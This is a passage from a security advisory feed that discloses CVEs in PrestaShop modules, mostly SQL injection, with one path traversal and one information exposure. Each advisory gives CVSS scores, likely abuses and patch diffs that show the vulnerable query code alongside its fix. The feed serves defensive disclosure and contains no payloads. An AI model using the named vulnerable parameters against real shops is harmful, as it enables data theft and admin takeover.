  <li><strong>Product author</strong>: RM RM</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p><em>Foreword : we are forced to tag privilege NONE on the CVSS 3.1 score which make it a critical vulnerability since it will be critical if the module has never been installed OR (if the BOOKINGCALENDAR_ics_export configuration do not exist OR is empty), but keep in mind that for the majority of installations, the gravity is reduced to <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS 3.1 7.2/10</a></em></p>

<p>The script PHP <code class="language-plaintext highlighter-rouge">ics_export.php</code> own sensitives SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : Be warned that older versions own true critical issues (still actively searched and exploited). This module is no longer maintain since years so you should delete it.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Steal/Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-279">Patch from 2.7.9</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.7.9/modules/bookingcalendar/ics_export.php
</span><span class="gi">+++ XXXXX/modules/bookingcalendar/ics_export.php
</span><span class="err">...</span>
-if (Tools::getIsset('lang') &amp;&amp; Configuration::get('BOOKINGCALENDAR_ics_export')==Tools::getValue('id'))
<span class="gi">+if (Tools::getIsset('lang') &amp;&amp; !Tools::isEmpty('id') &amp;&amp; Tools::getValue('id') === Configuration::get('BOOKINGCALENDAR_ics_export'))
</span><span class="err">...</span>
-	  $req.=' and idp='.Tools::getValue('id_product');
<span class="gi">+	  $req.=' and idp='.(int) Tools::getValue('id_product');
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.7.9/modules/bookingcalendar/bookingcalendar.php
</span><span class="gi">+++ XXXXX/modules/bookingcalendar/bookingcalendar.php
</span><span class="err">...</span>
-$row = Db::getInstance()-&gt;getRow('select ecart from `'._DB_PREFIX_.'a_booking_plus` where debut=\''.$debut.'\' and id_product=\''.$id_product.'\' ');
<span class="gi">+$row = Db::getInstance()-&gt;getRow('select ecart from `'._DB_PREFIX_.'a_booking_plus` where debut=\''.pSQL($debut).'\' and id_product=\''.(int) $id_product.'\' ');
</span><span class="err">...</span>
</code></pre></div></div>

<h2 id="patch-from-256">Patch from 2.5.6</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.5.6/modules/bookingcalendar/controllers/front/list.php
</span><span class="gi">+++ XXXXX/modules/bookingcalendar/controllers/front/list.php
</span><span class="err">...</span>
-		$enter=Tools::getValue('enter');
<span class="gi">+		$enter=pSQL(Tools::getValue('enter'));
</span><span class="err">...</span>
-			$row = Db::getInstance()-&gt;getRow('select * from `'._DB_PREFIX_.'a_booking_plus` where id_product=\''.(int)Tools::getValue('id_product').'\' and debut=\''.Tools::getValue('enter').' 00:00:00\'');
<span class="gi">+			$row = Db::getInstance()-&gt;getRow('select * from `'._DB_PREFIX_.'a_booking_plus` where id_product=\''.(int)Tools::getValue('id_product').'\' and debut=\''.pSQL(Tools::getValue('enter')).' 00:00:00\'');
</span><span class="err">...</span>
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.5.6/modules/bookingcalendar/controllers/front/list1_7.php
</span><span class="gi">+++ XXXXX/modules/bookingcalendar/controllers/front/list1_7.php
</span><span class="err">...</span>
-		$enter=Tools::getValue('enter');
<span class="gi">+		$enter=pSQL(Tools::getValue('enter'));
</span><span class="err">...</span>
-			$row = Db::getInstance()-&gt;getRow('select * from `'._DB_PREFIX_.'a_booking_plus` where id_product=\''.(int)Tools::getValue('id_product').'\' and debut=\''.Tools::getValue('enter').' 00:00:00\'');
<span class="gi">+			$row = Db::getInstance()-&gt;getRow('select * from `'._DB_PREFIX_.'a_booking_plus` where id_product=\''.(int)Tools::getValue('id_product').'\' and debut=\''.pSQL(Tools::getValue('enter')).' 00:00:00\'');
</span><span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module <strong>bookingcalendar</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-24</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-24</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-10-24</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-06</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/reservation-rental-system/24132-booking-calendar.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46914">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Booking Calendar” (bookingcalendar) from RM RM for PrestaShop, a guest can perform SQL injection in affected versions if the module is not installed OR if a secret accessible to administrator is stolen.]]></summary></entry><entry><title type="html">[CVE-2024-24303] Improper neutralization of SQL parameter in HiPresta - Gift Wrapping Pro module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/06/hiadvancedgiftwrapping.html" rel="alternate" type="text/html" title="[CVE-2024-24303] Improper neutralization of SQL parameter in HiPresta - Gift Wrapping Pro module for PrestaShop" /><published>2024-02-06T00:00:00+00:00</published><updated>2024-02-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/06/hiadvancedgiftwrapping</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/06/hiadvancedgiftwrapping.html"><![CDATA[<p>In the module “Gift Wrapping Pro” (hiadvancedgiftwrapping) up to version 1.4.0 from HiPresta for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24303">CVE-2024-24303</a></li>
  <li><strong>Published at</strong>: 2024-02-06</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: hiadvancedgiftwrapping</li>
  <li><strong>Impacted release</strong>: &lt;= 1.4.0 (1.4.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: HiPresta</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">HiAdvancedGiftWrappingGiftWrappingModuleFrontController::addGiftWrappingCartValue()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-140">Patch from 1.4.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.4.0/modules/hiadvancedgiftwrapping/controllers/front.php
</span><span class="gi">+++ 1.4.1/modules/hiadvancedgiftwrapping/controllers/front.php
</span><span class="err">...</span>
        if ($gift &amp;&amp; $selected_product) {
            Db::getInstance()-&gt;execute('
                UPDATE '._DB_PREFIX_.'cart
                SET gift = 1, gift_message = \'' . pSQL(Tools::getValue('gift_message')) . '\'
<span class="gd">-               WHERE id_cart = '.Tools::getValue('id_cart'));
</span><span class="gi">+               WHERE id_cart = '.(int) Tools::getValue('id_cart'));
</span>        } else {
            Db::getInstance()-&gt;execute('
                UPDATE '._DB_PREFIX_.'cart
                SET gift = 0, gift_message = \'\'
<span class="gd">-               WHERE id_cart = '.Tools::getValue('id_cart'));
</span><span class="gi">+               WHERE id_cart = '.(int) Tools::getValue('id_cart'));
</span>        }
<span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>hiadvancedgiftwrapping</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-19</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-19</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-09-19</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-11-21</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-06</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/registration-ordering-process/31464-gift-wrapping-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-24303">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Gift Wrapping Pro” (hiadvancedgiftwrapping) up to version 1.4.0 from HiPresta for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-24311] Improper Limitation of a Pathname to a Restricted Directory in Linea Grafica - Multilingual and Multistore Sitemap Pro – SEO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/06/lgsitemaps.html" rel="alternate" type="text/html" title="[CVE-2024-24311] Improper Limitation of a Pathname to a Restricted Directory in Linea Grafica - Multilingual and Multistore Sitemap Pro – SEO module for PrestaShop" /><published>2024-02-06T00:00:00+00:00</published><updated>2024-02-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/06/lgsitemaps</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/06/lgsitemaps.html"><![CDATA[<p>In the module “Multilingual and Multistore Sitemap Pro – SEO” (lgsitemaps) from Linea Grafica for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24311">CVE-2024-24311</a></li>
  <li><strong>Published at</strong>: 2024-02-06</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: lgsitemaps</li>
  <li><strong>Impacted release</strong>: &lt;= 1.6.5 (1.6.6 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Linea Grafica</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and a lack of control in the path name construction, a guest can perform a path traversal to view all XML files on the affected PrestaShop.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing all XML files from the PrestaShop including those under .htaccess/WAF restriction (like config.xml in modules root)</li>
</ul>

<h2 id="patch-from-165">Patch from 1.6.5</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.6.5/modules/lgsitemaps/controllers/front/sitemap.php
</span><span class="gi">+++ 1.6.6/modules/lgsitemaps/controllers/front/sitemap.php
</span><span class="err">...</span>
        if (!Tools::getIsset('cron')) {
            $name = Tools::getValue('name');
<span class="gi">+	    $name = str_replace('config', '', basename(Tools::getValue('name')));
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>lgsitemaps</strong>.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-23</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-07-23</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-08-22</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-09-04</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-06</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/seo-natural-search-engine-optimization/7507-multilingual-and-multistore-sitemap-pro-seo.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-24311">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Multilingual and Multistore Sitemap Pro – SEO” (lgsitemaps) from Linea Grafica for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2024-24304] Exposure of Sensitive Information to an Unauthorized Actor in Mailjet module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/06/mailjet.html" rel="alternate" type="text/html" title="[CVE-2024-24304] Exposure of Sensitive Information to an Unauthorized Actor in Mailjet module for PrestaShop" /><published>2024-02-06T00:00:00+00:00</published><updated>2024-02-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/06/mailjet</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/06/mailjet.html"><![CDATA[<p>In the module “Mailjet” (mailjet) up to version 3.5.0 from Mailjet for PrestaShop, a guest can download technical information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24304">CVE-2024-24304</a></li>
  <li><strong>Published at</strong>: 2024-02-06</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: mailjet</li>
  <li><strong>Impacted release</strong>: &lt;= 3.5.0 (3.5.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Mailjet</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/200.html">CWE-200</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a broken access control, a guest can access multiple technical information such as a full list of modules with their versions, the admin link and a sensitive token.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Get precious technical data to facilitate others attacks like <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
</ul>

<h2 id="patch-from-350">Patch from 3.5.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.5.0/modules/mailjet/ajax.php
</span><span class="gi">+++ 3.5.1/modules/mailjet/ajax.php
</span><span class="err">...</span>
    require_once(realpath(dirname(__FILE__) . '/../../init.php'));
<span class="err">}</span>

<span class="gi">+$token_ok = Tools::getAdminToken(
+    'AdminModules' . (int) Tab::getIdFromClassName('AdminModules') . (int) Tools::getValue('id_employee')
+);
+
+if (Tools::getValue('token') != $token_ok) {
+    die('hack attempt');
+}
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should restrict access to a given whitelist to these URI patterns /modules/mailjet/ajax/ and /modules/mailjet/ajax.php</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2022-10-29</td>
      <td>FOP Security Team contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2022-11-17</td>
      <td>Author confirm versions scope and release a patch</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-06</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/mailjet/prestashop-mailjet-plugin-apiv3/releases/tag/v3.5.1">Github page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-24304">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Mailjet” (mailjet) up to version 3.5.0 from Mailjet for PrestaShop, a guest can download technical information without restriction.]]></summary></entry><entry><title type="html">[CVE-2023-46351] Improper neutralization of SQL parameter in My Presta’s modules : mib for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/01/18/mib.html" rel="alternate" type="text/html" title="[CVE-2023-46351] Improper neutralization of SQL parameter in My Presta’s modules : mib for PrestaShop" /><published>2024-01-18T00:00:00+00:00</published><updated>2024-01-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/01/18/mib</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/01/18/mib.html"><![CDATA[<p>In the module mib from MyPresta.eu for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46351">CVE-2023-46351</a></li>
  <li><strong>Published at</strong>: 2024-01-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: mib</li>
  <li><strong>Impacted release</strong>: &lt;= 1.6.0 (1.6.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: MyPresta.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The methods <code class="language-plaintext highlighter-rouge">mib::getManufacturersByCategory()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>There is a prerequisite to exploit this vulnerability : “Activate categories filter” configuration must be set to enable which is not the default configuration.</p>

<p>This exploit uses a specific payload and most attackers can conceal the payload during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-156">Patch from 1.5.6</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.5.6/modules/mib/mib.php
</span><span class="gi">+++ 1.6.1/modules/mib/mib.php
</span><span class="err">...</span>
            'WHERE 1 ' .
<span class="gd">-           ('AND cp.`id_category` ='. $category) . ' ' .
</span><span class="gi">+           ('AND cp.`id_category` ='. (int) $category) . ' ' .
</span>            ($active ? 'AND m.`active` = 1 ' : '') .
<span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>mib</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-21</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-01-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://mypresta.eu/modules/front-office-features/manufacturers-brands-images-block.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46351">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module mib from MyPresta.eu for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-43985] Improper neutralization of SQL parameter in SunnyToo - Blog Search module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/01/18/stblogsearch.html" rel="alternate" type="text/html" title="[CVE-2023-43985] Improper neutralization of SQL parameter in SunnyToo - Blog Search module for PrestaShop" /><published>2024-01-18T00:00:00+00:00</published><updated>2024-01-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/01/18/stblogsearch</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/01/18/stblogsearch.html"><![CDATA[<p>In the module “Blog Search” (stblogsearch) up to version 1.0 from SunnyToo for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43985">CVE-2023-43985</a></li>
  <li><strong>Published at</strong>: 2024-01-18</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: stblogsearch</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0 [See note below]</li>
